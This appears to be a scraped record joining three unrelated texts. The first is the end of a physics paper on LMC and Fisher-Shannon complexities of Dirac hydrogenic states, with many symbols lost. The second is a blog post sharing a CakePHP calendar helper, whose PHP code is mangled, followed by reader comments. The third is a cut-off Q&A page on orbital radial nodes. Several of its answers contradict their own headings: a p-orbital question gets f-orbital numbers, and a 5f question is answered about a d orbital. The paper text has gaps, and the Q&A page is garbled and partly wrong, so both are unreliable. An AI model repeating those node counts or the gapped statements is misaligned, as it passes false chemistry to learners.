"Figure 5: (Color online) Radial density, Di(r), and radial Fisher information kernel, Iikernel(r), in the Dirac (i=D) and Schrödinger (i=S) settings for the ground state (left) and the circular state n=5 (right) with nuclear charge Z=50. Atomic units have been used.\n\nWe have observed that the latter effect (to be called gradient reduction effect heretoforth) is present in all bound states other than the ground state, although in excited non-circular states this effect is hidden by the nodal disapearance or minima-raising effect. In circular states other than the ground state, this effect gives rise to the small negativity of the Fisher-Shannon ratio, as we can also observe in the next Fig. 7 discussed in part B of this section.\n\nFinally let us emphasize that while the LMC ratio quantifies the charge contraction towards the nucleus (mainly by means of its disequilibrium ingredient), the Fisher-Shannon ratio quantifies the combined balance of this charge concentration, the gradient reduction in the regions near and far from the origin, and the minima raising or nodal disapearance of the charge distribution. This balance is very delicate, so that the latter ratio is positive in all ground-state systems and in all excited states of heavy hydrogenic states. However, the Fisher-Shannon ratio is negative for all excited states of hydrogenic systems with nuclear charge less than a critical state-dependent value; in these cases the relativistic minima-raising and gradient reduction joint effects are greater than the charge-contraction effect.\n\nAll in all, the Fisher-Shannon ratio quantifies (a) the charge contraction towards the nucleus in the ground state, (b) the charge contraction together with the gradient reduction effect for circular states other than the ground state, and (c) the combined effect due to the charge contraction, the gradient reduction and the minima raising for the remaining excited states.\n\n### iii.2 Dependence on quantum numbers\n\nFirst, the quantification of the Dirac effects for all excited states with in hydrogenic sytems with and is examined by means of the LMC (see Figs. 6) and Fisher-Shannon (see Figs. 7) complexity ratios. In Fig. 6-left for and Fig. 6-right for , the LMC ratio shows a common general structure. For given quantum numbers () the ratio has higher values for states with than for states with . Moreover, it does not depend on the magnetic quantum number , what can be theoretically understood from Eqs. (1), (2), (10) and (13) which allow us to separate the LMC complexity as a product of a radial complexity (associated to the radial density) and an angular complexity (associated to the angular density, which is the same in both Dirac and Schrödinger frameworks); then, the LMC ratio has no dependence of any angular property. In addition, the LMC ratio (i) decreases when the orbital quantum number is increasing for fixed and (ii) increases with the principal quatum number for fixed values of (). As already pointed out in part III.1, for large values of , the bigger the nuclear charge is, the higher the ratio due to the common electronic charge contraction.",
null,
"Figure 6: (Color online) Dependence of the LMC complexity on mj for Z=19 (left) and Z=90 (right).\n\nThe Fisher-Shannon ratio presents a different behavior with respect to the quantum numbers than that of the LMC one, as we show in Fig. 7-left for and in Fig. 7-right for . Indeed, it has negative values except in a few s and p states. Moreover, although the relativistic effects are stronger in the system with nuclear charge Z = 90, the qualitative dependence of the ratio on the quantum numbers is similar in the two systems: it has higher values for states with than for states with when () are fixed. For states with the ratio severely decreases because of the minima raising, as previously discussed. Moreover, for penetrating states (mainly, states ) the charge contraction effect counterbalances the minima-raising effect and makes the ratio to become positive. Besides, the ratio hardly depends on the magnetic quantum number because the Fisher-Shannon complexity, opposite to the LMC quantity, cannot be separated into radial and angular parts.\n\nThe gradient reduction effect is increasingly higher for states with than for states with when the nuclear charge is increasing. For excited states with , the minima-raising effect (which grows with ) decreases the ratio. For large values of , the charge-contraction effect is so powerful that makes negligible the gradient reduction and minima-raising effects, producing a global positive Fisher-Shannon ratio.",
null,
"Figure 7: (Color online) Dependence of the Fisher-Shannon complexity on mj for Z=19 (left) and Z=90 (right).\n\nSecond, we have done a similar analysis for states s, which all have , as shown in Figs. 8 for the hydrogenic system with . Contrary to the other excited states wherein the LMC (Fisher-Shannon) ratio decreases (increases) asymptotically to a constant value, the LMC ratio grows up to a maximum at , and then slowly decreases towards a constant asymptotic value as shown in Fig. 8-left. On the other hand, the Fisher-Shannon ratio (see Fig. 8-right) shows an opposite behavior as a function of ; that is, initially it decreases down to a minimun at and then it slowly increases towards a constant asymptotic value. For large values of , both LMC and Fisher-Shannon ratios of s-states behave like in the other states. Notice, in addition, that LMC and Fisher-Shannon complexities of states s have different behavior: while the LMC remains practically constant, the Fisher-Shannon increases monotonically. The latter is because the charge density oscillates more and more when the principal quantum number is increasing, what makes the Fisher-information factor of the Fisher-Shannon complexity to grow in a monotonic manner.",
null,
"Figure 8: (Color online) LMC (left) and Fisher-Shannon (right) complexities for excited s-states in n with Z=55.\n\n## Iv Complexity dependence on energy and Dirac quantum number\n\nIn this section we study the dependence of the LMC and Fisher-Shannon complexities on both the binding energy and the Dirac or relativistic quantum number of various excited states of the hydrogenic system with nuclear charge , as well as we discuss the associated Fisher-Shannon () and disequilibrium-Shannon () information planes.\n\n### iv.1 Dependence on energy\n\nIn Fig. 9 we show the values of LMC (Fig. 9-left) and Fisher-Shannon (Fig. 9-right) complexities for all excited states of the hydrogenic system with nuclear charge . Therein we observe that when the energy is increasing, the LMC complexity (a) decreases for states with the same quantum number , and (b) increases parabolically for states with and fixed . Moreover, the LMC complexity of the states s have significantly bigger values, mainly because of the relativistic sensitivity of the disequilibrium ingredient previously discussed.\n\nFurthermore, the behavior of the Fisher-Shannon complexity as a function of the energy is similar to the LMC complexity for states with the same , but it is slightly varying within a narrow interval for states with and fixed .",
null,
"Figure 9: (Color online) LMC (left) and Fisher-Shannon (right) complexities for some excited states in n and l with Z=90 and mj=j as a function of the energy (a.u.).\n\n### iv.2 Dependence on the relativistic quantum number k\n\nIn Fig. 10 we show the dependence of the LMC (left) and Fisher-Shannon (right) complexity measures on the relativistic quantum number for the ground state and all excited states () of the hydrogenic system with nuclear charge .",
null,
"Figure 10: (Color online) LMC (left) and Fisher-Shannon (right) complexities for some excited states in n and k with Z=90 and mj=j as a function of the relativistic quantum number k.\n\nWe observe that the LMC complexity (a) has a global maximum for states s (i.e., ), and (b) presents a quasi-symmetric decreasing behavior around the line with (i.e., for states s). Moreover, the Fisher-Shannon complexity has not a global maximum at s states but it shows up a monotonically decreasing behavior for the -manifold states with a given principal quantum number , mainly because of the decreased number () of maxima of the density.\n\n### iv.3 Information planes\n\nFinally, it is interesting to remark that the previous behavior can be studied by means of the associated relativistic information-theoretic planes. In Fig. 11 we show the Disequilibrium-Shannon (left) and Fisher-Shannon (right) information planes which include the ground state and all excited states () of the hydrogenic system with nuclear charge . Notice that the scale in both axes is logarithmic.\n\nFirst of all, we observe that in both cases all the complexity values lie down the allowed region; that is, they are in the right side of the rigorous border (see continuous line in the two graphs) defined by the known analytic LMC and Fisher-Shannon lower bounds lopezrosa:pa09 ; stam:ic59 ; guerrero:pra11 : and . Moreover while the LMC values remain closer to the borderline, the Fisher-Shannon ones move away from this bound when the principal quantum number is increasing. This is a clear indication that the Fisher-Shannon values of a given state (a) are higher than the corresponding LMC ones and (b) this enhancement is greater when the principal quantum number is increasing, mainly because the gradient content (so, the Fisher-information ingredient) raises in a faster manner than the disequilibrium.",
null,
"Figure 11: (Color online) LMC or Disequilibrium-Shannon (left) and Fisher-Shannon (right) information planes of hydrogenic states with n≤6, mj=j=l+12 and Z=90. Atomic units have been used.\n\n## Conclusions\n\nThis work extends the information-theoretic study of the hydrogenic systems recently done in the Schrödinger dehesa:epjd09 and relativistic Klein-Gordon manzano:njp10 ; manzano:epl10 and Dirac katriel:jcam10 frameworks. Indeed, previous efforts have analyzed not only the single and composite information-theoretic measures of both ground and excited states in the Schrödinger dehesa:ijqc10 ; dehesa:epjd09 ] and Klein-Gordon manzano:njp10 ; manzano:epl10 settings, but also the single entropic measures of the ground state in the Dirac setting katriel:jcam10 . Here we have studied the LMC and Fisher-Shannon complexities of both ground and excited states of these systems by means of the Dirac relativistic wavefunctions. First we have shown the enhancement of these composite measures when the nuclear charge is increasing and we have compared these values with the corresponding non-relativistic (Schrödinger) ones, what has allowed us to (i) illustrate that these complexity measures are good indicators of the Dirac relativistic effects, and (ii) to quantify the three primary dinamical Dirac effects (electronic charge contraction, minima-raising and gradient reduction) by means of a Schrödinger-Dirac ratio. We have observed that while the LMC ratio is always positive and it has an increasing behavior as a function of (mainly because its disequilibrium ingredient enhances when is increasing), the Fisher-Shannon ratio can reach negative values for the excited states although finally enhances when is increasing. Moreover, the global enhancement phenomenon of the two complexities is mainly due to the electronic charge contraction, and the Fisher-Shannon negativity in the excited states is associated to the raising of the non-relativistic minima. The latter phenomenon is mainly due to the Fisher-information ingredient of the Fisher-Shannon complexity, because it is the only factor which is very sensitive to the fact that the Dirac relativistic radial density cannot vanish except at the origin and infinity, keeping in mind that it is a gradient functional of the density. The (largely ignored) gradient reduction effect is present in all excited states although it is, at times, hidden by the minima-raising effect.\n\nFurthermore, we have shown in a large- hydrogenic system the dependence of the two previous statistical complexities as a function of the following parameters of the Dirac states: the energy, the principal quantum number () and the relativistic quantum number (). We have observed that for the -manifold states of a given quantum number , the LMC complexity parabolically enhances and the Fisher-Shannon complexity varies within the same interval when energy is increasing; this is mainly because of the delicate balance of the charge contraction and the minima raising effects. Besides, beyond the ground state, we have observed that for the behavior of the two complexity measures of the -manifold states in terms of the relativistic quantum number is quasi-symmetric around the line with (i.e., states s).\n\n## Acknowledgments\n\nThis work was partially supported by the Excellence Projects FQM-2445 and FQM-4643 of the Junta de Andalucía (Spain, EU), and the grant FIS2011-24540 of the Ministerio de Innovación y Ciencia. We belong to the Andalusian research group FQM-207 (J.S.D), FQM-020 (P.A.B) and FQM-239 (S.L.R).\n\n## References\n\n• (1) K. D. Sen (Ed.), Statistical Complexities: Applications in Electronic Structure (Springer Verlag, Berlin, 2011)\n• (2) R. O. Esquivel, J. C. Angulo, J. S. Dehesa, J. Antolín, S. López- Rosa, N. Flores-Gallegos, M. Molina-Espiritu, C. Iuga and E. Martínez-Carrera, Quantum Mechanics / Book 3 (Intech, 2011)\n• (3) R. O. Esquivel, J. C. Angulo, J. S. Dehesa, J. Antolín, S. López- Rosa, N. Flores-Gallegos, M. Molina-Espiritu, C. Iuga and E. Martínez-Carrera, Information-theoretical analyses of systems and processes of chemical and nanotechnological interest (Nova Science Publishers, 2011\n• (4) A. N. Kolmogorov, Probl. Inf. Transm., 1, 3 (1965)\n• (5) G. Chaitin, J. Comput. Appl. Math., 13, 547 (1966)\n• (6) R. J. Solomonoff, Algorithmic Probability: Theory and applications, Information Theory and Statistical Learning, edited by F. Emmert-Streib and M. Dehmer (Springer, New York, 2009)\n• (7) S. Arora and B. Barak, Computational Complexity: A Modern Approach (Cambridge University Press, Cambridge, 2009)\n• (8) S. López-Rosa, J. C. Angulo and J. Antolín”, Physica A, 388, 2081 (2009)\n• (9) A. Stam, Inform. Control, 2, 101 (1959)\n• (10) A. Guerrero, P. Sánchez-Moreno and J. S. Dehesa, Phys. Rev. A, 84, 042105 (2011)\n• (11) J. Katriel and K. D. Sen, J. Comput. Appl. Math., 233, 1399 (2010)\n• (12) Proceedings of the RQI-2011 (Int. Workshop on Relativistic Quantum Theory North), 6-8 September, Madrid, 2011). Not yet published\n• (13) A. Peres and D. R. Terno, Rev. Mod. Phys., 76, 93 (2004)\n• (14) D. Manzano, R. J. Yáñez and J. S. Dehesa, New J. Phys., 12, 023014 (2010)\n• (15) D. Manzano, S. López-Rosa and J. S. Dehesa, EPL(Europhys. Lett.), 90, 48001 (2010)\n• (16) A. Borgoo, F. De Proft, P. Geerlings and K. D. Sen, Chem. Phys. Lett., 444, 186 (2007)\n• (17) J. Sañudo and R. López-Ruiz, Phys. Lett. A, 37, 30 (2009)\n• (18) P. Maldonado, A. Sarsa, E. Buendía and F. J. Gálvez, Phys. Lett., 374, 3847 (2010)\n• (19) J. Sañudo and R. López-Ruiz, IREPHY, 3, 207 (2009)\n• (20) A. Borgoo, P. Gerlings and K. D. Sen (ed.), Statistical Complexity: Applications in Electronic Structure (Springer, Berlin, 2011)\n• (21) V. M. Burke and I . P. Grant, Proc. Phys. Soc., 90, 297 (1967)\n• (22) I. P. Grant, Relativistic Quantum Theory of Atoms and Molecules. Theory and Computation, Springer, Berlin, 2007\n• (23) R. López-Ruiz, H. L. Mancini and X. Calbet, Phys. Lett. A, 209, 321 (1995)\n• (24) C. Anteneodo and A. R. Plastino, Phys Lett. A 223, 348 (1996)\n• (25) J. C. Angulo, J. Antolín and K. D. Sen, Phys Lett. A 372, 670 (2008)\n• (26) E. Romera and J. S. Dehesa, J. Chem. Phys., 120, 8906 (2004)\n• (27) B. R. Frieden, Science from Fisher Information (Cambridge University Press, Cambridge, 2004)\n• (28) T. M. Cover and J. A. Thomas, Elements of Information Theory (Wiley, New York, 1991)\n• (29) I. P. Hamilton and R. A. Mosna, J. Comput. Appl. Math., 233, 1542 (2010)\n• (30) W. Greiner, Relativistic Quantum Mechanics: Wave Equations (Springer, Berlin, 2000). 3rd edn\n• (31) G. W. F. Drake, Handbook of Atomic, Molecular and Optical Physics (AIP Press, New York, 1996). Pp.120–134\n• (32) , R. A. Swainson and G. W. F. Drake, J. Phys. A, 24, 79-94, 95 and 1801 (1995)\n• (33) O. Klein, Z. Phys., 37, 895 (1929)\n• (34) C. Calogeracos and N. Dombey, Contemp. Phys., 40, 313 (1999)\n• (35) J. S. Dehesa, S. López-Rosa and D. Manzano, Eur. Phys. J. D, 55, 539 (2009)\n• (36) J. S. Dehesa, S. López-Rosa, A. Martínez-Finkelshtein and R. J. Yáñez, Int. J. Quantum Chem., 110, 1529 (2010)"
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http://www.stellarcore.com/cakephp-calendar-helper/?replytocom=1867 | [
"# CakePHP Calendar Helper\n\nBy | January 7, 2009",
null,
"Recently I began my first CakePHP project; for those of you who aren’t aware, CakePHP is a popular model-view-controller framework for creating web applications in PHP.\n\nIn my project, I had the need for a calendar in a few of my views, and after looking around a bit, I found a nice and simple calendar helper. The helper works fine and dandy, but doesnt quite do all of the things I needed; namely, what was missing was a weekly calendar view that displays an hourly schedule one week at a time.\n\nThe main differences between my helper and the original is the addition of the “week” function and the renaming of the “calendar” function to “month”.\n\nI’ve also changed the code a bit to make the \\$data parameter that’s passed to both the month and week functions an optional associative array that also allows you to set an onClick and class type for each cell in addition to the content. This makes it much easier to incorporate AJAX or just plain javascript with the calendar. For example:\n``` \\$weekData=array(); \\$weekData = array('content'=>'Lunch time', 'onClick'=>'alert(\\'mmm.. lunch\\');', 'class'=>'lunch'); ```\nIf you passed \\$weekData to the week function, the cell on the 10th day (if it exists) at 12pm would have “Lunch time” in the cell, and when you click it will alert ‘mm.. lunch’.\n\nAlso added are cell id’s; in the monthly calendar, each cell has the id “cell-DD” where DD is the day of the month. In the weekly calendar, it is “cell-DD-HH’ where HH is the hour. This makes it easier to dynamically change cells or determine which one is selected with javascript.\n\n```< ?php /** * Calendar Helper for CakePHP * * Copyright 2007-2008 John Elliott * Licensed under The MIT License * Redistributions of files must retain the above copyright notice. * * * @author John Elliott * @copyright 2008 John Elliott * @link http://www.flipflops.org More Information * @license http://www.opensource.org/licenses/mit-license.php The MIT License * */ class CalendarHelper extends Helper { var \\$month_list = array('january', 'february', 'march', 'april', 'may', 'june', 'july', 'august', 'september', 'october', 'november', 'december'); var \\$day_list = array('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'); var \\$helpers = array('Html', 'Form'); /** * Perpares a list of GET params that are tacked on to next/prev. links. * @retunr string - urlencoded GET params. */ function getParams() { \\$params=array(); foreach (\\$this->params['url'] as \\$key=>\\$val) if (\\$key != 'url') \\$params[]=urlencode(\\$key).'='.urlencode(\\$val); return (count(\\$params)>0?'?'.join('&',\\$params):''); } /** * Generates a Calendar for the specified by the month and year params and populates it with the content of the data array * * @param \\$year string * @param \\$month string * @param \\$data array * @param \\$base_url * @return string - HTML code to display calendar in view * */ function month(\\$year = '', \\$month = '', \\$data = '', \\$base_url ='') { \\$str = ''; \\$day = 1; \\$today = 0; if(\\$year == '' || \\$month == '') { // just use current yeear & month \\$year = date('Y'); \\$month = date('m'); } \\$flag = 0; for(\\$i = 0; \\$i < 12; \\$i++) { if(strtolower(\\$month) == \\$this->month_list[\\$i]) { if(intval(\\$year) != 0) { \\$flag = 1; \\$month_num = \\$i + 1; break; } } } if(\\$flag == 0) { \\$year = date('Y'); \\$month = date('F'); \\$month_num = date('m'); } \\$next_year = \\$year; \\$prev_year = \\$year; \\$next_month = intval(\\$month_num) + 1; \\$prev_month = intval(\\$month_num) - 1; if(\\$next_month == 13) { \\$next_month = 'january'; \\$next_year = intval(\\$year) + 1; } else { \\$next_month = \\$this->month_list[\\$next_month -1]; } if(\\$prev_month == 0) { \\$prev_month = 'december'; \\$prev_year = intval(\\$year) - 1; } else { \\$prev_month = \\$this->month_list[\\$prev_month - 1]; } if(\\$year == date('Y') && strtolower(\\$month) == strtolower(date('F'))) { // set the flag that shows todays date but only in the current month - not past or future... \\$today = date('j'); } \\$days_in_month = date(\"t\", mktime(0, 0, 0, \\$month_num, 1, \\$year)); \\$first_day_in_month = date('D', mktime(0,0,0, \\$month_num, 1, \\$year)); \\$str .= '```\n\n‘; \\$str .= ”; \\$str .= ”; \\$str .= ”; for(\\$i = 0; \\$i < 7;\\$i++) { \\$str .= ”; \\$str .= ”; \\$str .= ”; while(\\$day < = \\$days_in_month) { \\$str .= ”; for(\\$i = 0; \\$i < 7; \\$i ++) { \\$cell = ‘ ‘; \\$onClick=”; \\$class = ”; \\$style =”; if(\\$i > 4) { \\$class = ‘ class=”cell-weekend” ‘; } if(\\$day == \\$today) { \\$class = ‘ class=”cell-today” ‘; } if(isset(\\$data[\\$day])) { if (is_array(\\$data[\\$day])) { if (isset(\\$data[\\$day][‘onClick’])) { \\$onClick = ‘ onClick=”‘.\\$data[\\$day][‘onClick’].'”‘; \\$style= ‘ style=”cursor:pointer;”‘; } if (isset(\\$data[\\$day][‘content’])) \\$cell = \\$data[\\$day][‘content’]; if (isset(\\$data[\\$day][‘class’])) \\$class = ‘ class=”‘.\\$data[\\$day][‘class’].'”‘; } else \\$cell = \\$data[\\$day]; } if((\\$first_day_in_month == \\$this->day_list[\\$i] || \\$day > 1) && (\\$day < = \\$days_in_month)) { \\$str .= ‘<td ‘ . \\$class .\\$style.\\$onClick.’ id=”cell-‘.\\$day.'”>’ . \\$day . ” . \\$cell . ”; \\$day++; } else { \\$str .= ‘<td ‘ . \\$class . ‘> ‘; } } \\$str .= ”; } \\$str .= ”; \\$str .= ‘\n\n‘; \\$str .= \\$this->Html->link(__(‘prev’, true), \\$base_url.’/’ . \\$prev_year . ‘/’ . \\$prev_month.\\$this->getParams()); \\$str .= ‘ ‘ . ucfirst(\\$month) . ‘ ‘ . \\$year . ‘ ‘; \\$str .= \\$this->Html->link(__(‘next’, true), \\$base_url.’/’ . \\$next_year . ‘/’ . \\$next_month.\\$this->getParams()); \\$str .= ‘\n‘ . \\$this->day_list[\\$i] . ”; } \\$str .= ‘\n```'; return \\$str; } /** * Generates a Calendar for the week specified by the day, month and year params and populates it with the content of the data array * * @param \\$year string * @param \\$month string * @param \\$day string * @param \\$data array[day][hour] * @param \\$base_url * @return string - HTML code to display calendar in view * */ function week(\\$year = '', \\$month = '', \\$day = '', \\$data = '', \\$base_url ='', \\$min_hour = 8, \\$max_hour=24) { \\$str = ''; \\$today = 0; if(\\$year == '' || \\$month == '') { // just use current yeear & month \\$year = date('Y'); \\$month = date('F'); \\$day = date('d'); \\$month_num = date('m'); } \\$flag = 0; for(\\$i = 0; \\$i < 12; \\$i++) { if(strtolower(\\$month) == \\$this->month_list[\\$i]) { if(intval(\\$year) != 0) { \\$flag = 1; \\$month_num = \\$i + 1; break; } } } if (\\$flag == 1) { \\$days_in_month = date(\"t\", mktime(0, 0, 0, \\$month_num, 1, \\$year)); if (\\$day < = 0 || \\$day > \\$days_in_month) \\$flag = 0; } if(\\$flag == 0) { \\$year = date('Y'); \\$month = date('F'); \\$month_num = date('m'); \\$day = date('d'); \\$days_in_month = date(\"t\", mktime(0, 0, 0, \\$month_num, 1, \\$year)); } \\$next_year = \\$year; \\$prev_year = \\$year; \\$next_month = intval(\\$month_num); \\$prev_month = intval(\\$month_num); \\$next_week = intval(\\$day) + 7; \\$prev_week = intval(\\$day) - 7; if (\\$next_week > \\$days_in_month) { \\$next_week = \\$next_week - \\$days_in_month; \\$next_month++; } if (\\$prev_week < = 0) { \\$prev_month--; \\$prev_week = date('t', mktime(0,0,0, \\$prev_month,\\$year)) + \\$prev_week; } \\$next_month_num = null; if(\\$next_month == 13) { \\$next_month_num = 1; \\$next_month = 'january'; \\$next_year = intval(\\$year) + 1; } else { \\$next_month_num = \\$next_month; \\$next_month = \\$this->month_list[\\$next_month -1]; } \\$prev_month_num = null; if(\\$prev_month == 0) { \\$prev_month_num = 12; \\$prev_month = 'december'; \\$prev_year = intval(\\$year) - 1; } else { \\$prev_month_num = \\$prev_month; \\$prev_month = \\$this->month_list[\\$prev_month - 1]; } if(\\$year == date('Y') && strtolower(\\$month) == strtolower(date('F'))) { // set the flag that shows todays date but only in the current month - not past or future... \\$today = date('j'); } //count back day until its monday while ( date('D', mktime(0,0,0, \\$month_num, \\$day, \\$year)) != 'Mon') \\$day--; \\$title = ''; if (\\$day+6>\\$days_in_month) { if (\\$next_month == 'january') \\$title = ucfirst(\\$month).' '.\\$year.' / '.ucfirst(\\$next_month).' '. (\\$year+1); else \\$title = ucfirst(\\$month).'/'.ucfirst(\\$next_month).' '.\\$year; } else \\$title = ucfirst(\\$month).' '.\\$year; \\$str .= '```\n\n‘; \\$str .= ”; \\$str .= ”; \\$str .= ”; for(\\$i = 0; \\$i < 7;\\$i++) { \\$offset = 0; if (\\$day+\\$i > \\$days_in_month) \\$offset = \\$days_in_month; else if (\\$day+\\$i < 1) \\$offset = – date(‘t’,mktime(1,1,1,\\$prev_month_num,1,\\$prev_year)); \\$str .= ”; \\$str .= ”; \\$str .= ”; for(\\$hour=\\$min_hour;\\$hour < \\$max_hour;\\$hour++) { \\$str .= ”; for(\\$i = 0; \\$i < 7; \\$i ++) { \\$offset = 0; if (\\$day+\\$i > \\$days_in_month) \\$offset = \\$days_in_month; else if (\\$day+\\$i < 1) \\$offset = – date(‘t’,mktime(1,1,1,\\$prev_month_num,1,\\$prev_year)); \\$cell = ”; \\$onClick=”; \\$style =”; \\$class = ”; if(\\$i > 4) { \\$class = ‘ class=”cell-weekend” ‘; } if((\\$day+\\$i) == \\$today && \\$month_num == date(‘m’) && \\$year == date(‘Y’)) { \\$class = ‘ class=”cell-today” ‘; } if(isset(\\$data[\\$day+\\$i-\\$offset][\\$hour])) { if (is_array(\\$data[\\$day+\\$i-\\$offset][\\$hour])) { if (isset(\\$data[\\$day+\\$i-\\$offset][\\$hour][‘onClick’])) { \\$onClick = ‘ onClick=”‘.\\$data[\\$day+\\$i-\\$offset][\\$hour][‘onClick’].'”‘; \\$style= ‘ style=”cursor:pointer;”‘; } if (isset(\\$data[\\$day+\\$i-\\$offset][\\$hour][‘content’])) \\$cell = \\$data[\\$day+\\$i-\\$offset][\\$hour][‘content’]; if (isset(\\$data[\\$day+\\$i-\\$offset][\\$hour][‘class’])) \\$class = ‘ class=”‘.\\$data[\\$day+\\$i-\\$offset][\\$hour][‘class’].'”‘; } else \\$cell = \\$data[\\$day+\\$i-\\$offset][\\$hour]; } \\$str .= ‘<td ‘.\\$class.\\$onClick.\\$style.’ id=”cell-‘.(\\$day+\\$i-\\$offset).’-‘.\\$hour.'”>’ . \\$hour.’:00′ . ” . \\$cell . ”; } \\$str .= ”; } \\$str .= ”; \\$str .= ‘\n\n‘; \\$str .= \\$this->Html->link(__(‘prev’, true), \\$base_url.’/’ . \\$prev_year . ‘/’ . \\$prev_month.’/’.\\$prev_week.\\$this->getParams()); \\$str .= ‘ ‘ . \\$title . ‘ ‘; \\$str .= \\$this->Html->link(__(‘next’, true), \\$base_url.’/’ . \\$next_year . ‘/’ . \\$next_month.’/’.\\$next_week.\\$this->getParams()); \\$str .= ‘\n‘ . \\$this->day_list[\\$i] . ‘\n‘.(\\$day+\\$i-\\$offset).”; } \\$str .= ‘\n```'; return \\$str; } } ?>```\n\n## 14 thoughts on “CakePHP Calendar Helper”\n\n1.",
null,
"Peter\n\nHi!\nThank’s a lot but it’s really difficult to copy/past your helper…\n=)\n\n2.",
null,
"cypher Post author\n\nPeter,\n\nI’ve updated the source above (WordPress likes to encode html entities, thus messing up the code. There is also a link above the source that lets you download the raw code.\n\nThanks and good luck!\n\n3.",
null,
"aaarrrggh\n\nHi,\n\nLooks good so far, but I’m pretty sure (correct me if I’m wrong) that we also need an updated controller to be able to use this properly? The current controller does not send the \\$data array in the correct format.\n\nI’ve got this up and running on my own system at the moment, but I’m reworking it to work for multiple users in a system (by that I mean that each user has access to their own individual calendar, as well as having a global calendar available to all users).\n\nI’m going to rewrite the controller myself.\n\nIf possible, would you be able to upload your own updated controller? I’d find it useful to look at, and I’m sure others would too.\n\nIf for some reason an updated controller is not actually necessary, my apologies!\n\n4.",
null,
"Sebastian\n\nHi!\n\nI want to know if I can use the original files (from the original project) and edit only the CalendarHelper with yours?!\n\nExcuse my english, please.\n\nThanks,\nSebastian\n\n5.",
null,
"cypher Post author\n\naaarrrggh: I do have a very simple component that I’ve written, but all that it does is sanitize a requested date before passing it to the helper. To get the information into the necessary array format, just loop through your event types (or whatever you want to put on the calendar), and then insert it into the array according to the date/time of the event.\n\nI suppose if you wanted, you could write a component that has an “insert” event type that does this for you, but I figured that it was simple enough that I could just leave it in the controller.\n\n6.",
null,
"cypher Post author\n\nSebastian: Yes, that is exactly the purpose of my code. It essentially takes the original and just updates it to add the week formatted calendar.\n\nSo to use it as I’ve described, you would download the original (linked above) and then replace just the helper class with mine.\n\n7.",
null,
"aaarrrggh\n\nHi Cypher.\n\nI’ve got it working now. I’ve actually got this working so that both the original monthly calendar and the daily break down (using your helper) can work on the same view page. It seems quite nice.\n\nOne issue I do have though is that it would be nice to be able to display more than one event per hour on the daily view. As I understand it this is not currently possible. I’ve been working on something else for the last few days, but I intend to go back through this code and modify it to enable multiple events to take place each hour, possibly breaking down hours with more than one event into 10 or 20 minute blocks, or something like that.\n\nIs there a way of creating more than one event per hour currently, or will this need a bit of re-writing?\n\nThanks for this helper by the way 🙂\n\n8.",
null,
"cypher Post author\n\naaarrrggh: I thought about multiple events when I was writing this, but what I decided was that it is simple enough to do multiple events by just listing them all in the same ‘content’ field that is sent to the helper.\n\nYou just have to be careful to maintain the separation between controller and view correctly. The way I’ve done this is in my projects is to change the data array from the controller slightly for your events so that you send an array of events for each day.\n\nFor example: \\$data[\\$day][\\$hour] = array(‘event1′,’event2’,’event3’…);\n\nAnd then in your view, you can loop through the events and build the content string with the array of events (your events also don’t have to be strings any more, you could make them models and build your event view from them).\n\n\\$calendar[\\$day][\\$hour][‘content’] =”;\nforeach (\\$data[\\$day][\\$hour] as \\$event)\n\\$calendar[\\$day][\\$hour][‘content’].='<div class=”event”>’.\\$event[‘Event’][‘name’].'</div>’;\n\nThis also gives you a bit more flexibility on how it looks and behaves, because you can put in links, javascript, ajax, whatever…\n\nMark\n\n9.",
null,
"mjohnny\n\nHi, thanks a lot. I tried it this morning and it did exactly what I had in mind.\n\nOne problem though, on the Month Calendar, when I click on the prev link, it gives me the correct URL but the calendar will still display the current month.\n\nFor example, today’s April. When I click on prev, it will display the calendar for March, when I click prev again, it will go back to April. I also tried moving my pc clock to June and still when I get to March and press the prev link, it will display June. No problems with browsing succeeding months.\n\nmJohnny\n\n10.",
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"mjohnny\n\nmy apologies.\n\nI just copied the controller found in the original helpers link. I browsed through it and found a typo on the February month. it’s now working perfectly.\n\nmJohnny\n\n11.",
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"albert\n\nHello,\n\nHi, thank you for this helper. I tried it today and got the week calendar to display but the prev and next function does not work. The right url for the new week and previous week are ok but it still shows the same week in stead of going backward of forward one week. Could some share the working app directory?\n\nAny help provided is appreciated.\n\nAlbert\n\n12.",
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"albert\n\nHello,\n\nGot the links to work. I need to pass the day variable to the week function in the calander helper.\n\nThank you of this nice helper.\n\nAlbert\n\n13.",
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"cypher Post author\n\nHi Albert,\n\nI’m glad that you were able to figure it out. I’m on vacation currently, hence my delay in response.\n\nThanks for your interest and I hope the helper is useful.\n\nMark\n\n14.",
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"Akif\n\nNice helper, it works great.\n\nI had problems getting it working properly at first. Seems that you need to pass the month as a word instead of a number. So ‘april’ will work, ‘4’ won’t.\n\nKeep up the good work!\n\nThis site uses Akismet to reduce spam. Learn how your comment data is processed."
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https://enlytenstrips.com/qa/how-many-radial-nodes-are-in-the-5d-orbital.html | [
"",
null,
"# How Many Radial Nodes Are In The 5d Orbital?\n\n## How many nodes are in p orbital?\n\n3A p orbital can hold 6 electrons.\n\nBased off of the given information, n=4 and ℓ=3.\n\nThus, there are 3 angular nodes present.\n\nThe total number of nodes in this orbital is: 4-1=3, which means there are no radial nodes present..\n\n## Why are there 3 p orbitals?\n\nP orbitals have a value of 1 for l, the second quantum number. … Not only hydrogen atom, but in all the atoms there are 3 p orbitals in any energy state because p orbital has azimuthal quantum number 1, therefore it has 3 orbitals px,py and pz with magnetic quantum numbers -1,0,1.\n\n## How many angular nodes are present in 5f orbital?\n\nThere arefour nodes total (5-1=4) and there aretwo angular nodes (d orbital has a quantum number ℓ=2) on the xz and zy planes.\n\n## Why are orbitals called SPDF?\n\nWhat Does S, P, D, F Stand For? The orbital names s, p, d, and f stand for names given to groups of lines originally noted in the spectra of the alkali metals. These line groups are called sharp, principal, diffuse, and fundamental.\n\n## How many radial nodes are in the 3d orbital?\n\n0 radial nodesThe number of nodes is related to the principal quantum number, n. In general, the nd orbital has (n – 3) radial nodes, so the 3d-orbitals have (3 – 3) = 0 radial nodes, as shown in the above plot. Radial nodes do become evident, however, in the higher d-orbitals (4d, 5d, and 6d).\n\n## How many radial nodes are there in a 7p Orbital?\n\n5 radial nodesIn general, a np orbital has (n – 2) radial nodes, so the 7p-orbital has (7 – 2) = 5 radial nodes.\n\n## How many radial nodes are present in 2p orbital?\n\n0 radial nodesThe number of radial nodes is related to the principal quantum number, n. In general, a np orbital has (n – 2) radial nodes, so the 2p-orbital has (2 – 2) = 0 radial nodes. The higher p-orbitals (3p, 4p, 5p, 6p, and 7p) are more complex since they do have spherical nodes.\n\n## How do you find the number of radial nodes in an 